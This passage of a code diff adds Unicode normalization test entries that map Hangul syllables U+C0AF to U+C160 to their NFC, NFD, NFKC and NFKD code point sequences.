+{ source: [0xC0AF], NFC: [0xC0AF], NFD: [0x1109, 0x1161, 0x11AA], NFKC: [0xC0AF], NFKD: [0x1109, 0x1161, 0x11AA] },
+{ source: [0xC0B0], NFC: [0xC0B0], NFD: [0x1109, 0x1161, 0x11AB], NFKC: [0xC0B0], NFKD: [0x1109, 0x1161, 0x11AB] },
+{ source: [0xC0B1], NFC: [0xC0B1], NFD: [0x1109, 0x1161, 0x11AC], NFKC: [0xC0B1], NFKD: [0x1109, 0x1161, 0x11AC] },
+{ source: [0xC0B2], NFC: [0xC0B2], NFD: [0x1109, 0x1161, 0x11AD], NFKC: [0xC0B2], NFKD: [0x1109, 0x1161, 0x11AD] },
+{ source: [0xC0B3], NFC: [0xC0B3], NFD: [0x1109, 0x1161, 0x11AE], NFKC: [0xC0B3], NFKD: [0x1109, 0x1161, 0x11AE] },
+{ source: [0xC0B4], NFC: [0xC0B4], NFD: [0x1109, 0x1161, 0x11AF], NFKC: [0xC0B4], NFKD: [0x1109, 0x1161, 0x11AF] },
+{ source: [0xC0B5], NFC: [0xC0B5], NFD: [0x1109, 0x1161, 0x11B0], NFKC: [0xC0B5], NFKD: [0x1109, 0x1161, 0x11B0] },
+{ source: [0xC0B6], NFC: [0xC0B6], NFD: [0x1109, 0x1161, 0x11B1], NFKC: [0xC0B6], NFKD: [0x1109, 0x1161, 0x11B1] },
+{ source: [0xC0B7], NFC: [0xC0B7], NFD: [0x1109, 0x1161, 0x11B2], NFKC: [0xC0B7], NFKD: [0x1109, 0x1161, 0x11B2] },
+{ source: [0xC0B8], NFC: [0xC0B8], NFD: [0x1109, 0x1161, 0x11B3], NFKC: [0xC0B8], NFKD: [0x1109, 0x1161, 0x11B3] },
+{ source: [0xC0B9], NFC: [0xC0B9], NFD: [0x1109, 0x1161, 0x11B4], NFKC: [0xC0B9], NFKD: [0x1109, 0x1161, 0x11B4] },
+{ source: [0xC0BA], NFC: [0xC0BA], NFD: [0x1109, 0x1161, 0x11B5], NFKC: [0xC0BA], NFKD: [0x1109, 0x1161, 0x11B5] },
+{ source: [0xC0BB], NFC: [0xC0BB], NFD: [0x1109, 0x1161, 0x11B6], NFKC: [0xC0BB], NFKD: [0x1109, 0x1161, 0x11B6] },
+{ source: [0xC0BC], NFC: [0xC0BC], NFD: [0x1109, 0x1161, 0x11B7], NFKC: [0xC0BC], NFKD: [0x1109, 0x1161, 0x11B7] },
+{ source: [0xC0BD], NFC: [0xC0BD], NFD: [0x1109, 0x1161, 0x11B8], NFKC: [0xC0BD], NFKD: [0x1109, 0x1161, 0x11B8] },
+{ source: [0xC0BE], NFC: [0xC0BE], NFD: [0x1109, 0x1161, 0x11B9], NFKC: [0xC0BE], NFKD: [0x1109, 0x1161, 0x11B9] },
+{ source: [0xC0BF], NFC: [0xC0BF], NFD: [0x1109, 0x1161, 0x11BA], NFKC: [0xC0BF], NFKD: [0x1109, 0x1161, 0x11BA] },
+{ source: [0xC0C0], NFC: [0xC0C0], NFD: [0x1109, 0x1161, 0x11BB], NFKC: [0xC0C0], NFKD: [0x1109, 0x1161, 0x11BB] },
+{ source: [0xC0C1], NFC: [0xC0C1], NFD: [0x1109, 0x1161, 0x11BC], NFKC: [0xC0C1], NFKD: [0x1109, 0x1161, 0x11BC] },
+{ source: [0xC0C2], NFC: [0xC0C2], NFD: [0x1109, 0x1161, 0x11BD], NFKC: [0xC0C2], NFKD: [0x1109, 0x1161, 0x11BD] },
+{ source: [0xC0C3], NFC: [0xC0C3], NFD: [0x1109, 0x1161, 0x11BE], NFKC: [0xC0C3], NFKD: [0x1109, 0x1161, 0x11BE] },
+{ source: [0xC0C4], NFC: [0xC0C4], NFD: [0x1109, 0x1161, 0x11BF], NFKC: [0xC0C4], NFKD: [0x1109, 0x1161, 0x11BF] },
+{ source: [0xC0C5], NFC: [0xC0C5], NFD: [0x1109, 0x1161, 0x11C0], NFKC: [0xC0C5], NFKD: [0x1109, 0x1161, 0x11C0] },
+{ source: [0xC0C6], NFC: [0xC0C6], NFD: [0x1109, 0x1161, 0x11C1], NFKC: [0xC0C6], NFKD: [0x1109, 0x1161, 0x11C1] },
+{ source: [0xC0C7], NFC: [0xC0C7], NFD: [0x1109, 0x1161, 0x11C2], NFKC: [0xC0C7], NFKD: [0x1109, 0x1161, 0x11C2] },
+{ source: [0xC0C8], NFC: [0xC0C8], NFD: [0x1109, 0x1162], NFKC: [0xC0C8], NFKD: [0x1109, 0x1162] },
+{ source: [0xC0C9], NFC: [0xC0C9], NFD: [0x1109, 0x1162, 0x11A8], NFKC: [0xC0C9], NFKD: [0x1109, 0x1162, 0x11A8] },
+{ source: [0xC0CA], NFC: [0xC0CA], NFD: [0x1109, 0x1162, 0x11A9], NFKC: [0xC0CA], NFKD: [0x1109, 0x1162, 0x11A9] },
+{ source: [0xC0CB], NFC: [0xC0CB], NFD: [0x1109, 0x1162, 0x11AA], NFKC: [0xC0CB], NFKD: [0x1109, 0x1162, 0x11AA] },
+{ source: [0xC0CC], NFC: [0xC0CC], NFD: [0x1109, 0x1162, 0x11AB], NFKC: [0xC0CC], NFKD: [0x1109, 0x1162, 0x11AB] },
+{ source: [0xC0CD], NFC: [0xC0CD], NFD: [0x1109, 0x1162, 0x11AC], NFKC: [0xC0CD], NFKD: [0x1109, 0x1162, 0x11AC] },
+{ source: [0xC0CE], NFC: [0xC0CE], NFD: [0x1109, 0x1162, 0x11AD], NFKC: [0xC0CE], NFKD: [0x1109, 0x1162, 0x11AD] },
+{ source: [0xC0CF], NFC: [0xC0CF], NFD: [0x1109, 0x1162, 0x11AE], NFKC: [0xC0CF], NFKD: [0x1109, 0x1162, 0x11AE] },
+{ source: [0xC0D0], NFC: [0xC0D0], NFD: [0x1109, 0x1162, 0x11AF], NFKC: [0xC0D0], NFKD: [0x1109, 0x1162, 0x11AF] },
+{ source: [0xC0D1], NFC: [0xC0D1], NFD: [0x1109, 0x1162, 0x11B0], NFKC: [0xC0D1], NFKD: [0x1109, 0x1162, 0x11B0] },
+{ source: [0xC0D2], NFC: [0xC0D2], NFD: [0x1109, 0x1162, 0x11B1], NFKC: [0xC0D2], NFKD: [0x1109, 0x1162, 0x11B1] },
+{ source: [0xC0D3], NFC: [0xC0D3], NFD: [0x1109, 0x1162, 0x11B2], NFKC: [0xC0D3], NFKD: [0x1109, 0x1162, 0x11B2] },
+{ source: [0xC0D4], NFC: [0xC0D4], NFD: [0x1109, 0x1162, 0x11B3], NFKC: [0xC0D4], NFKD: [0x1109, 0x1162, 0x11B3] },
+{ source: [0xC0D5], NFC: [0xC0D5], NFD: [0x1109, 0x1162, 0x11B4], NFKC: [0xC0D5], NFKD: [0x1109, 0x1162, 0x11B4] },
+{ source: [0xC0D6], NFC: [0xC0D6], NFD: [0x1109, 0x1162, 0x11B5], NFKC: [0xC0D6], NFKD: [0x1109, 0x1162, 0x11B5] },
+{ source: [0xC0D7], NFC: [0xC0D7], NFD: [0x1109, 0x1162, 0x11B6], NFKC: [0xC0D7], NFKD: [0x1109, 0x1162, 0x11B6] },
+{ source: [0xC0D8], NFC: [0xC0D8], NFD: [0x1109, 0x1162, 0x11B7], NFKC: [0xC0D8], NFKD: [0x1109, 0x1162, 0x11B7] },
+{ source: [0xC0D9], NFC: [0xC0D9], NFD: [0x1109, 0x1162, 0x11B8], NFKC: [0xC0D9], NFKD: [0x1109, 0x1162, 0x11B8] },
+{ source: [0xC0DA], NFC: [0xC0DA], NFD: [0x1109, 0x1162, 0x11B9], NFKC: [0xC0DA], NFKD: [0x1109, 0x1162, 0x11B9] },
+{ source: [0xC0DB], NFC: [0xC0DB], NFD: [0x1109, 0x1162, 0x11BA], NFKC: [0xC0DB], NFKD: [0x1109, 0x1162, 0x11BA] },
+{ source: [0xC0DC], NFC: [0xC0DC], NFD: [0x1109, 0x1162, 0x11BB], NFKC: [0xC0DC], NFKD: [0x1109, 0x1162, 0x11BB] },
+{ source: [0xC0DD], NFC: [0xC0DD], NFD: [0x1109, 0x1162, 0x11BC], NFKC: [0xC0DD], NFKD: [0x1109, 0x1162, 0x11BC] },
+{ source: [0xC0DE], NFC: [0xC0DE], NFD: [0x1109, 0x1162, 0x11BD], NFKC: [0xC0DE], NFKD: [0x1109, 0x1162, 0x11BD] },
+{ source: [0xC0DF], NFC: [0xC0DF], NFD: [0x1109, 0x1162, 0x11BE], NFKC: [0xC0DF], NFKD: [0x1109, 0x1162, 0x11BE] },
+{ source: [0xC0E0], NFC: [0xC0E0], NFD: [0x1109, 0x1162, 0x11BF], NFKC: [0xC0E0], NFKD: [0x1109, 0x1162, 0x11BF] },
+{ source: [0xC0E1], NFC: [0xC0E1], NFD: [0x1109, 0x1162, 0x11C0], NFKC: [0xC0E1], NFKD: [0x1109, 0x1162, 0x11C0] },
+{ source: [0xC0E2], NFC: [0xC0E2], NFD: [0x1109, 0x1162, 0x11C1], NFKC: [0xC0E2], NFKD: [0x1109, 0x1162, 0x11C1] },
+{ source: [0xC0E3], NFC: [0xC0E3], NFD: [0x1109, 0x1162, 0x11C2], NFKC: [0xC0E3], NFKD: [0x1109, 0x1162, 0x11C2] },
+{ source: [0xC0E4], NFC: [0xC0E4], NFD: [0x1109, 0x1163], NFKC: [0xC0E4], NFKD: [0x1109, 0x1163] },
+{ source: [0xC0E5], NFC: [0xC0E5], NFD: [0x1109, 0x1163, 0x11A8], NFKC: [0xC0E5], NFKD: [0x1109, 0x1163, 0x11A8] },
+{ source: [0xC0E6], NFC: [0xC0E6], NFD: [0x1109, 0x1163, 0x11A9], NFKC: [0xC0E6], NFKD: [0x1109, 0x1163, 0x11A9] },
+{ source: [0xC0E7], NFC: [0xC0E7], NFD: [0x1109, 0x1163, 0x11AA], NFKC: [0xC0E7], NFKD: [0x1109, 0x1163, 0x11AA] },
+{ source: [0xC0E8], NFC: [0xC0E8], NFD: [0x1109, 0x1163, 0x11AB], NFKC: [0xC0E8], NFKD: [0x1109, 0x1163, 0x11AB] },
+{ source: [0xC0E9], NFC: [0xC0E9], NFD: [0x1109, 0x1163, 0x11AC], NFKC: [0xC0E9], NFKD: [0x1109, 0x1163, 0x11AC] },
+{ source: [0xC0EA], NFC: [0xC0EA], NFD: [0x1109, 0x1163, 0x11AD], NFKC: [0xC0EA], NFKD: [0x1109, 0x1163, 0x11AD] },
+{ source: [0xC0EB], NFC: [0xC0EB], NFD: [0x1109, 0x1163, 0x11AE], NFKC: [0xC0EB], NFKD: [0x1109, 0x1163, 0x11AE] },
+{ source: [0xC0EC], NFC: [0xC0EC], NFD: [0x1109, 0x1163, 0x11AF], NFKC: [0xC0EC], NFKD: [0x1109, 0x1163, 0x11AF] },
+{ source: [0xC0ED], NFC: [0xC0ED], NFD: [0x1109, 0x1163, 0x11B0], NFKC: [0xC0ED], NFKD: [0x1109, 0x1163, 0x11B0] },
+{ source: [0xC0EE], NFC: [0xC0EE], NFD: [0x1109, 0x1163, 0x11B1], NFKC: [0xC0EE], NFKD: [0x1109, 0x1163, 0x11B1] },
+{ source: [0xC0EF], NFC: [0xC0EF], NFD: [0x1109, 0x1163, 0x11B2], NFKC: [0xC0EF], NFKD: [0x1109, 0x1163, 0x11B2] },
+{ source: [0xC0F0], NFC: [0xC0F0], NFD: [0x1109, 0x1163, 0x11B3], NFKC: [0xC0F0], NFKD: [0x1109, 0x1163, 0x11B3] },
+{ source: [0xC0F1], NFC: [0xC0F1], NFD: [0x1109, 0x1163, 0x11B4], NFKC: [0xC0F1], NFKD: [0x1109, 0x1163, 0x11B4] },
+{ source: [0xC0F2], NFC: [0xC0F2], NFD: [0x1109, 0x1163, 0x11B5], NFKC: [0xC0F2], NFKD: [0x1109, 0x1163, 0x11B5] },
+{ source: [0xC0F3], NFC: [0xC0F3], NFD: [0x1109, 0x1163, 0x11B6], NFKC: [0xC0F3], NFKD: [0x1109, 0x1163, 0x11B6] },
+{ source: [0xC0F4], NFC: [0xC0F4], NFD: [0x1109, 0x1163, 0x11B7], NFKC: [0xC0F4], NFKD: [0x1109, 0x1163, 0x11B7] },
+{ source: [0xC0F5], NFC: [0xC0F5], NFD: [0x1109, 0x1163, 0x11B8], NFKC: [0xC0F5], NFKD: [0x1109, 0x1163, 0x11B8] },
+{ source: [0xC0F6], NFC: [0xC0F6], NFD: [0x1109, 0x1163, 0x11B9], NFKC: [0xC0F6], NFKD: [0x1109, 0x1163, 0x11B9] },
+{ source: [0xC0F7], NFC: [0xC0F7], NFD: [0x1109, 0x1163, 0x11BA], NFKC: [0xC0F7], NFKD: [0x1109, 0x1163, 0x11BA] },
+{ source: [0xC0F8], NFC: [0xC0F8], NFD: [0x1109, 0x1163, 0x11BB], NFKC: [0xC0F8], NFKD: [0x1109, 0x1163, 0x11BB] },
+{ source: [0xC0F9], NFC: [0xC0F9], NFD: [0x1109, 0x1163, 0x11BC], NFKC: [0xC0F9], NFKD: [0x1109, 0x1163, 0x11BC] },
+{ source: [0xC0FA], NFC: [0xC0FA], NFD: [0x1109, 0x1163, 0x11BD], NFKC: [0xC0FA], NFKD: [0x1109, 0x1163, 0x11BD] },
+{ source: [0xC0FB], NFC: [0xC0FB], NFD: [0x1109, 0x1163, 0x11BE], NFKC: [0xC0FB], NFKD: [0x1109, 0x1163, 0x11BE] },
+{ source: [0xC0FC], NFC: [0xC0FC], NFD: [0x1109, 0x1163, 0x11BF], NFKC: [0xC0FC], NFKD: [0x1109, 0x1163, 0x11BF] },
+{ source: [0xC0FD], NFC: [0xC0FD], NFD: [0x1109, 0x1163, 0x11C0], NFKC: [0xC0FD], NFKD: [0x1109, 0x1163, 0x11C0] },
+{ source: [0xC0FE], NFC: [0xC0FE], NFD: [0x1109, 0x1163, 0x11C1], NFKC: [0xC0FE], NFKD: [0x1109, 0x1163, 0x11C1] },
+{ source: [0xC0FF], NFC: [0xC0FF], NFD: [0x1109, 0x1163, 0x11C2], NFKC: [0xC0FF], NFKD: [0x1109, 0x1163, 0x11C2] },
+{ source: [0xC100], NFC: [0xC100], NFD: [0x1109, 0x1164], NFKC: [0xC100], NFKD: [0x1109, 0x1164] },
+{ source: [0xC101], NFC: [0xC101], NFD: [0x1109, 0x1164, 0x11A8], NFKC: [0xC101], NFKD: [0x1109, 0x1164, 0x11A8] },
+{ source: [0xC102], NFC: [0xC102], NFD: [0x1109, 0x1164, 0x11A9], NFKC: [0xC102], NFKD: [0x1109, 0x1164, 0x11A9] },
+{ source: [0xC103], NFC: [0xC103], NFD: [0x1109, 0x1164, 0x11AA], NFKC: [0xC103], NFKD: [0x1109, 0x1164, 0x11AA] },
+{ source: [0xC104], NFC: [0xC104], NFD: [0x1109, 0x1164, 0x11AB], NFKC: [0xC104], NFKD: [0x1109, 0x1164, 0x11AB] },
+{ source: [0xC105], NFC: [0xC105], NFD: [0x1109, 0x1164, 0x11AC], NFKC: [0xC105], NFKD: [0x1109, 0x1164, 0x11AC] },
+{ source: [0xC106], NFC: [0xC106], NFD: [0x1109, 0x1164, 0x11AD], NFKC: [0xC106], NFKD: [0x1109, 0x1164, 0x11AD] },
+{ source: [0xC107], NFC: [0xC107], NFD: [0x1109, 0x1164, 0x11AE], NFKC: [0xC107], NFKD: [0x1109, 0x1164, 0x11AE] },
+{ source: [0xC108], NFC: [0xC108], NFD: [0x1109, 0x1164, 0x11AF], NFKC: [0xC108], NFKD: [0x1109, 0x1164, 0x11AF] },
+{ source: [0xC109], NFC: [0xC109], NFD: [0x1109, 0x1164, 0x11B0], NFKC: [0xC109], NFKD: [0x1109, 0x1164, 0x11B0] },
+{ source: [0xC10A], NFC: [0xC10A], NFD: [0x1109, 0x1164, 0x11B1], NFKC: [0xC10A], NFKD: [0x1109, 0x1164, 0x11B1] },
+{ source: [0xC10B], NFC: [0xC10B], NFD: [0x1109, 0x1164, 0x11B2], NFKC: [0xC10B], NFKD: [0x1109, 0x1164, 0x11B2] },
+{ source: [0xC10C], NFC: [0xC10C], NFD: [0x1109, 0x1164, 0x11B3], NFKC: [0xC10C], NFKD: [0x1109, 0x1164, 0x11B3] },
+{ source: [0xC10D], NFC: [0xC10D], NFD: [0x1109, 0x1164, 0x11B4], NFKC: [0xC10D], NFKD: [0x1109, 0x1164, 0x11B4] },
+{ source: [0xC10E], NFC: [0xC10E], NFD: [0x1109, 0x1164, 0x11B5], NFKC: [0xC10E], NFKD: [0x1109, 0x1164, 0x11B5] },
+{ source: [0xC10F], NFC: [0xC10F], NFD: [0x1109, 0x1164, 0x11B6], NFKC: [0xC10F], NFKD: [0x1109, 0x1164, 0x11B6] },
+{ source: [0xC110], NFC: [0xC110], NFD: [0x1109, 0x1164, 0x11B7], NFKC: [0xC110], NFKD: [0x1109, 0x1164, 0x11B7] },
+{ source: [0xC111], NFC: [0xC111], NFD: [0x1109, 0x1164, 0x11B8], NFKC: [0xC111], NFKD: [0x1109, 0x1164, 0x11B8] },
+{ source: [0xC112], NFC: [0xC112], NFD: [0x1109, 0x1164, 0x11B9], NFKC: [0xC112], NFKD: [0x1109, 0x1164, 0x11B9] },
+{ source: [0xC113], NFC: [0xC113], NFD: [0x1109, 0x1164, 0x11BA], NFKC: [0xC113], NFKD: [0x1109, 0x1164, 0x11BA] },
+{ source: [0xC114], NFC: [0xC114], NFD: [0x1109, 0x1164, 0x11BB], NFKC: [0xC114], NFKD: [0x1109, 0x1164, 0x11BB] },
+{ source: [0xC115], NFC: [0xC115], NFD: [0x1109, 0x1164, 0x11BC], NFKC: [0xC115], NFKD: [0x1109, 0x1164, 0x11BC] },
+{ source: [0xC116], NFC: [0xC116], NFD: [0x1109, 0x1164, 0x11BD], NFKC: [0xC116], NFKD: [0x1109, 0x1164, 0x11BD] },
+{ source: [0xC117], NFC: [0xC117], NFD: [0x1109, 0x1164, 0x11BE], NFKC: [0xC117], NFKD: [0x1109, 0x1164, 0x11BE] },
+{ source: [0xC118], NFC: [0xC118], NFD: [0x1109, 0x1164, 0x11BF], NFKC: [0xC118], NFKD: [0x1109, 0x1164, 0x11BF] },
+{ source: [0xC119], NFC: [0xC119], NFD: [0x1109, 0x1164, 0x11C0], NFKC: [0xC119], NFKD: [0x1109, 0x1164, 0x11C0] },
+{ source: [0xC11A], NFC: [0xC11A], NFD: [0x1109, 0x1164, 0x11C1], NFKC: [0xC11A], NFKD: [0x1109, 0x1164, 0x11C1] },
+{ source: [0xC11B], NFC: [0xC11B], NFD: [0x1109, 0x1164, 0x11C2], NFKC: [0xC11B], NFKD: [0x1109, 0x1164, 0x11C2] },
+{ source: [0xC11C], NFC: [0xC11C], NFD: [0x1109, 0x1165], NFKC: [0xC11C], NFKD: [0x1109, 0x1165] },
+{ source: [0xC11D], NFC: [0xC11D], NFD: [0x1109, 0x1165, 0x11A8], NFKC: [0xC11D], NFKD: [0x1109, 0x1165, 0x11A8] },
+{ source: [0xC11E], NFC: [0xC11E], NFD: [0x1109, 0x1165, 0x11A9], NFKC: [0xC11E], NFKD: [0x1109, 0x1165, 0x11A9] },
+{ source: [0xC11F], NFC: [0xC11F], NFD: [0x1109, 0x1165, 0x11AA], NFKC: [0xC11F], NFKD: [0x1109, 0x1165, 0x11AA] },
+{ source: [0xC120], NFC: [0xC120], NFD: [0x1109, 0x1165, 0x11AB], NFKC: [0xC120], NFKD: [0x1109, 0x1165, 0x11AB] },
+{ source: [0xC121], NFC: [0xC121], NFD: [0x1109, 0x1165, 0x11AC], NFKC: [0xC121], NFKD: [0x1109, 0x1165, 0x11AC] },
+{ source: [0xC122], NFC: [0xC122], NFD: [0x1109, 0x1165, 0x11AD], NFKC: [0xC122], NFKD: [0x1109, 0x1165, 0x11AD] },
+{ source: [0xC123], NFC: [0xC123], NFD: [0x1109, 0x1165, 0x11AE], NFKC: [0xC123], NFKD: [0x1109, 0x1165, 0x11AE] },
+{ source: [0xC124], NFC: [0xC124], NFD: [0x1109, 0x1165, 0x11AF], NFKC: [0xC124], NFKD: [0x1109, 0x1165, 0x11AF] },
+{ source: [0xC125], NFC: [0xC125], NFD: [0x1109, 0x1165, 0x11B0], NFKC: [0xC125], NFKD: [0x1109, 0x1165, 0x11B0] },
+{ source: [0xC126], NFC: [0xC126], NFD: [0x1109, 0x1165, 0x11B1], NFKC: [0xC126], NFKD: [0x1109, 0x1165, 0x11B1] },
+{ source: [0xC127], NFC: [0xC127], NFD: [0x1109, 0x1165, 0x11B2], NFKC: [0xC127], NFKD: [0x1109, 0x1165, 0x11B2] },
+{ source: [0xC128], NFC: [0xC128], NFD: [0x1109, 0x1165, 0x11B3], NFKC: [0xC128], NFKD: [0x1109, 0x1165, 0x11B3] },
+{ source: [0xC129], NFC: [0xC129], NFD: [0x1109, 0x1165, 0x11B4], NFKC: [0xC129], NFKD: [0x1109, 0x1165, 0x11B4] },
+{ source: [0xC12A], NFC: [0xC12A], NFD: [0x1109, 0x1165, 0x11B5], NFKC: [0xC12A], NFKD: [0x1109, 0x1165, 0x11B5] },
+{ source: [0xC12B], NFC: [0xC12B], NFD: [0x1109, 0x1165, 0x11B6], NFKC: [0xC12B], NFKD: [0x1109, 0x1165, 0x11B6] },
+{ source: [0xC12C], NFC: [0xC12C], NFD: [0x1109, 0x1165, 0x11B7], NFKC: [0xC12C], NFKD: [0x1109, 0x1165, 0x11B7] },
+{ source: [0xC12D], NFC: [0xC12D], NFD: [0x1109, 0x1165, 0x11B8], NFKC: [0xC12D], NFKD: [0x1109, 0x1165, 0x11B8] },
+{ source: [0xC12E], NFC: [0xC12E], NFD: [0x1109, 0x1165, 0x11B9], NFKC: [0xC12E], NFKD: [0x1109, 0x1165, 0x11B9] },
+{ source: [0xC12F], NFC: [0xC12F], NFD: [0x1109, 0x1165, 0x11BA], NFKC: [0xC12F], NFKD: [0x1109, 0x1165, 0x11BA] },
+{ source: [0xC130], NFC: [0xC130], NFD: [0x1109, 0x1165, 0x11BB], NFKC: [0xC130], NFKD: [0x1109, 0x1165, 0x11BB] },
+{ source: [0xC131], NFC: [0xC131], NFD: [0x1109, 0x1165, 0x11BC], NFKC: [0xC131], NFKD: [0x1109, 0x1165, 0x11BC] },
+{ source: [0xC132], NFC: [0xC132], NFD: [0x1109, 0x1165, 0x11BD], NFKC: [0xC132], NFKD: [0x1109, 0x1165, 0x11BD] },
+{ source: [0xC133], NFC: [0xC133], NFD: [0x1109, 0x1165, 0x11BE], NFKC: [0xC133], NFKD: [0x1109, 0x1165, 0x11BE] },
+{ source: [0xC134], NFC: [0xC134], NFD: [0x1109, 0x1165, 0x11BF], NFKC: [0xC134], NFKD: [0x1109, 0x1165, 0x11BF] },
+{ source: [0xC135], NFC: [0xC135], NFD: [0x1109, 0x1165, 0x11C0], NFKC: [0xC135], NFKD: [0x1109, 0x1165, 0x11C0] },
+{ source: [0xC136], NFC: [0xC136], NFD: [0x1109, 0x1165, 0x11C1], NFKC: [0xC136], NFKD: [0x1109, 0x1165, 0x11C1] },
+{ source: [0xC137], NFC: [0xC137], NFD: [0x1109, 0x1165, 0x11C2], NFKC: [0xC137], NFKD: [0x1109, 0x1165, 0x11C2] },
+{ source: [0xC138], NFC: [0xC138], NFD: [0x1109, 0x1166], NFKC: [0xC138], NFKD: [0x1109, 0x1166] },
+{ source: [0xC139], NFC: [0xC139], NFD: [0x1109, 0x1166, 0x11A8], NFKC: [0xC139], NFKD: [0x1109, 0x1166, 0x11A8] },
+{ source: [0xC13A], NFC: [0xC13A], NFD: [0x1109, 0x1166, 0x11A9], NFKC: [0xC13A], NFKD: [0x1109, 0x1166, 0x11A9] },
+{ source: [0xC13B], NFC: [0xC13B], NFD: [0x1109, 0x1166, 0x11AA], NFKC: [0xC13B], NFKD: [0x1109, 0x1166, 0x11AA] },
+{ source: [0xC13C], NFC: [0xC13C], NFD: [0x1109, 0x1166, 0x11AB], NFKC: [0xC13C], NFKD: [0x1109, 0x1166, 0x11AB] },
+{ source: [0xC13D], NFC: [0xC13D], NFD: [0x1109, 0x1166, 0x11AC], NFKC: [0xC13D], NFKD: [0x1109, 0x1166, 0x11AC] },
+{ source: [0xC13E], NFC: [0xC13E], NFD: [0x1109, 0x1166, 0x11AD], NFKC: [0xC13E], NFKD: [0x1109, 0x1166, 0x11AD] },
+{ source: [0xC13F], NFC: [0xC13F], NFD: [0x1109, 0x1166, 0x11AE], NFKC: [0xC13F], NFKD: [0x1109, 0x1166, 0x11AE] },
+{ source: [0xC140], NFC: [0xC140], NFD: [0x1109, 0x1166, 0x11AF], NFKC: [0xC140], NFKD: [0x1109, 0x1166, 0x11AF] },
+{ source: [0xC141], NFC: [0xC141], NFD: [0x1109, 0x1166, 0x11B0], NFKC: [0xC141], NFKD: [0x1109, 0x1166, 0x11B0] },
+{ source: [0xC142], NFC: [0xC142], NFD: [0x1109, 0x1166, 0x11B1], NFKC: [0xC142], NFKD: [0x1109, 0x1166, 0x11B1] },
+{ source: [0xC143], NFC: [0xC143], NFD: [0x1109, 0x1166, 0x11B2], NFKC: [0xC143], NFKD: [0x1109, 0x1166, 0x11B2] },
+{ source: [0xC144], NFC: [0xC144], NFD: [0x1109, 0x1166, 0x11B3], NFKC: [0xC144], NFKD: [0x1109, 0x1166, 0x11B3] },
+{ source: [0xC145], NFC: [0xC145], NFD: [0x1109, 0x1166, 0x11B4], NFKC: [0xC145], NFKD: [0x1109, 0x1166, 0x11B4] },
+{ source: [0xC146], NFC: [0xC146], NFD: [0x1109, 0x1166, 0x11B5], NFKC: [0xC146], NFKD: [0x1109, 0x1166, 0x11B5] },
+{ source: [0xC147], NFC: [0xC147], NFD: [0x1109, 0x1166, 0x11B6], NFKC: [0xC147], NFKD: [0x1109, 0x1166, 0x11B6] },
+{ source: [0xC148], NFC: [0xC148], NFD: [0x1109, 0x1166, 0x11B7], NFKC: [0xC148], NFKD: [0x1109, 0x1166, 0x11B7] },
+{ source: [0xC149], NFC: [0xC149], NFD: [0x1109, 0x1166, 0x11B8], NFKC: [0xC149], NFKD: [0x1109, 0x1166, 0x11B8] },
+{ source: [0xC14A], NFC: [0xC14A], NFD: [0x1109, 0x1166, 0x11B9], NFKC: [0xC14A], NFKD: [0x1109, 0x1166, 0x11B9] },
+{ source: [0xC14B], NFC: [0xC14B], NFD: [0x1109, 0x1166, 0x11BA], NFKC: [0xC14B], NFKD: [0x1109, 0x1166, 0x11BA] },
+{ source: [0xC14C], NFC: [0xC14C], NFD: [0x1109, 0x1166, 0x11BB], NFKC: [0xC14C], NFKD: [0x1109, 0x1166, 0x11BB] },
+{ source: [0xC14D], NFC: [0xC14D], NFD: [0x1109, 0x1166, 0x11BC], NFKC: [0xC14D], NFKD: [0x1109, 0x1166, 0x11BC] },
+{ source: [0xC14E], NFC: [0xC14E], NFD: [0x1109, 0x1166, 0x11BD], NFKC: [0xC14E], NFKD: [0x1109, 0x1166, 0x11BD] },
+{ source: [0xC14F], NFC: [0xC14F], NFD: [0x1109, 0x1166, 0x11BE], NFKC: [0xC14F], NFKD: [0x1109, 0x1166, 0x11BE] },
+{ source: [0xC150], NFC: [0xC150], NFD: [0x1109, 0x1166, 0x11BF], NFKC: [0xC150], NFKD: [0x1109, 0x1166, 0x11BF] },
+{ source: [0xC151], NFC: [0xC151], NFD: [0x1109, 0x1166, 0x11C0], NFKC: [0xC151], NFKD: [0x1109, 0x1166, 0x11C0] },
+{ source: [0xC152], NFC: [0xC152], NFD: [0x1109, 0x1166, 0x11C1], NFKC: [0xC152], NFKD: [0x1109, 0x1166, 0x11C1] },
+{ source: [0xC153], NFC: [0xC153], NFD: [0x1109, 0x1166, 0x11C2], NFKC: [0xC153], NFKD: [0x1109, 0x1166, 0x11C2] },
+{ source: [0xC154], NFC: [0xC154], NFD: [0x1109, 0x1167], NFKC: [0xC154], NFKD: [0x1109, 0x1167] },
+{ source: [0xC155], NFC: [0xC155], NFD: [0x1109, 0x1167, 0x11A8], NFKC: [0xC155], NFKD: [0x1109, 0x1167, 0x11A8] },
+{ source: [0xC156], NFC: [0xC156], NFD: [0x1109, 0x1167, 0x11A9], NFKC: [0xC156], NFKD: [0x1109, 0x1167, 0x11A9] },
+{ source: [0xC157], NFC: [0xC157], NFD: [0x1109, 0x1167, 0x11AA], NFKC: [0xC157], NFKD: [0x1109, 0x1167, 0x11AA] },
+{ source: [0xC158], NFC: [0xC158], NFD: [0x1109, 0x1167, 0x11AB], NFKC: [0xC158], NFKD: [0x1109, 0x1167, 0x11AB] },
+{ source: [0xC159], NFC: [0xC159], NFD: [0x1109, 0x1167, 0x11AC], NFKC: [0xC159], NFKD: [0x1109, 0x1167, 0x11AC] },
+{ source: [0xC15A], NFC: [0xC15A], NFD: [0x1109, 0x1167, 0x11AD], NFKC: [0xC15A], NFKD: [0x1109, 0x1167, 0x11AD] },
+{ source: [0xC15B], NFC: [0xC15B], NFD: [0x1109, 0x1167, 0x11AE], NFKC: [0xC15B], NFKD: [0x1109, 0x1167, 0x11AE] },
+{ source: [0xC15C], NFC: [0xC15C], NFD: [0x1109, 0x1167, 0x11AF], NFKC: [0xC15C], NFKD: [0x1109, 0x1167, 0x11AF] },
+{ source: [0xC15D], NFC: [0xC15D], NFD: [0x1109, 0x1167, 0x11B0], NFKC: [0xC15D], NFKD: [0x1109, 0x1167, 0x11B0] },
+{ source: [0xC15E], NFC: [0xC15E], NFD: [0x1109, 0x1167, 0x11B1], NFKC: [0xC15E], NFKD: [0x1109, 0x1167, 0x11B1] },
+{ source: [0xC15F], NFC: [0xC15F], NFD: [0x1109, 0x1167, 0x11B2], NFKC: [0xC15F], NFKD: [0x1109, 0x1167, 0x11B2] },
+{ source: [0xC160], NFC: [0xC160], NFD: [0x1109, 0x1167, 0x11B3], NFKC: [0xC160], NFKD: [0x1109, 0x1167, 0x11B3] },
